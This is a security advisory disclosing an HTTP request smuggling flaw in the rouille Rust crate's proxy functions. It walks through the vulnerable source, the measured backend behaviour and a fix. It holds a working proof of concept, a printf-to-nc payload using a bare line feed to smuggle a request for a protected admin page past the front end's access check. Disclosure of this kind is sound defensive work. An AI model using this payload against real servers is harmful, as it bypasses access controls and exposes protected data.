
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
Assigned CVE ID: CVE-2026-67182
rouille::proxy::proxy and rouille::proxy::full_proxy copy client-supplied
request header values into the upstream connection without checking them for
control characters. A header value can legitimately contain a bare line feed
(0x0A), because the underlying tiny_http header parser only ends a header line
on CRLF. Backends that accept a bare LF as a line terminator therefore read one
front-end request as two.
The second request is fully attacker-controlled, including its method and path, and never passes through the rouille handler that decided to proxy the first one. Its response body is also returned to the attacker.
Repo URL: https://github.com/tomaka/rouille
| First affected | 0.3.3 (2016-12-03), the release that introduced src/proxy.rs |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Not affected | 0.3.2 and earlier, which have no proxy module |
| Fixed in | no fixed version at time of writing |
Every published release from 0.3.3 to 3.6.2 contains the unmodified code. The
file src/proxy.rs is byte-identical between the 3.6.2 tag and the current
master branch.
Only applications that call proxy::proxy or proxy::full_proxy are affected.
CWE-444 (Inconsistent Interpretation of HTTP Requests), reached through CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers).
CVSS 4.0 base score 6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
The attacker is a remote, unauthenticated client that can send raw HTTP to a rouille server. No credentials, no user interaction, and no position on the network between components are required.
The deployment at risk is a rouille application acting as a reverse proxy that
makes a security decision (routing, authentication, authorization, or content
filtering) before calling proxy(), in front of a backend whose HTTP parser
accepts a bare LF as a header line terminator.
Measured backend behaviour:
| Backend | Version tested | Accepts the injected LF |
|---|---|---|
Go net/http | go1.26.4 | yes, serves the smuggled request |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | yes, serves the smuggled request |
| Node.js | v26.3.0 | no, returns 400 (llhttp strict mode) |
| PHP built-in server | 8.5.8 | no, drops the connection |
nginx and Apache were not tested. RFC 9112 section 2.2 permits a recipient to recognise a lone LF as a line terminator, so the accepting backends are behaving within spec.
rouille/src/proxy.rs, lines 157 to 174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Line 171 is the sink. value is untrusted and is written with no validation.
The taint enters through tiny_http. In
tiny_http-0.12.0/src/client.rs, lines 80 to 102, a header line ends only when
a LF follows a CR:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
A lone LF falls through to line 100 and is pushed into the line buffer. LF is
valid ASCII, so AsciiString::from_ascii accepts it. Header::from_str at
tiny_http-0.12.0/src/common.rs line 184 then only trims the value, which
strips leading and trailing whitespace but leaves interior bytes alone:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
The result is a rouille header value containing a raw \n, which line 171 of
proxy.rs writes straight into the upstream request.
Connection: close on line 173 does not contain the damage. The injected blank
line ends the first request before line 173 runs, so that header is absorbed
into the smuggled request. The first request carries no Connection header and
defaults to HTTP/1.1 keep-alive, which is exactly what lets the backend go on to
process the second one.
Step 1. Create a backend document root with a public file and a file the proxy is supposed to protect.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
Step 2. Start a keep-alive backend on port 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
Step 3. Start the rouille front end on port 8000. It proxies /public/ and
refuses everything else.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Step 4. Confirm the access control works.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
Step 5. Send a single request for the permitted path with a bare LF inside a
header value. In the command below \n is a bare line feed and \r\n is a
CRLF. The distinction is the whole attack, so do not let an editor normalise it.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
Result. The backend log shows two requests, the second one being the path the front end refused in step 4:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
The attacker also receives the protected content, because src/proxy.rs line
224 turns the remainder of the upstream socket into the response body:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
An unauthenticated client can issue an arbitrary request to the backend and read
its response, while the rouille handler only ever sees the permitted request.
This defeats path-based access control, authentication performed in the handler,
and any request inspection done before the call to proxy().
Two limits are worth stating. proxy() opens a fresh TCP connection per request
and does not pool, so this does not give the cross-user request-queue poisoning
associated with classic smuggling. The attack also needs an LF-tolerant backend,
as measured above.
Reject header names and values that contain control characters before writing
them upstream. In src/proxy.rs, inside the loop at line 157:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}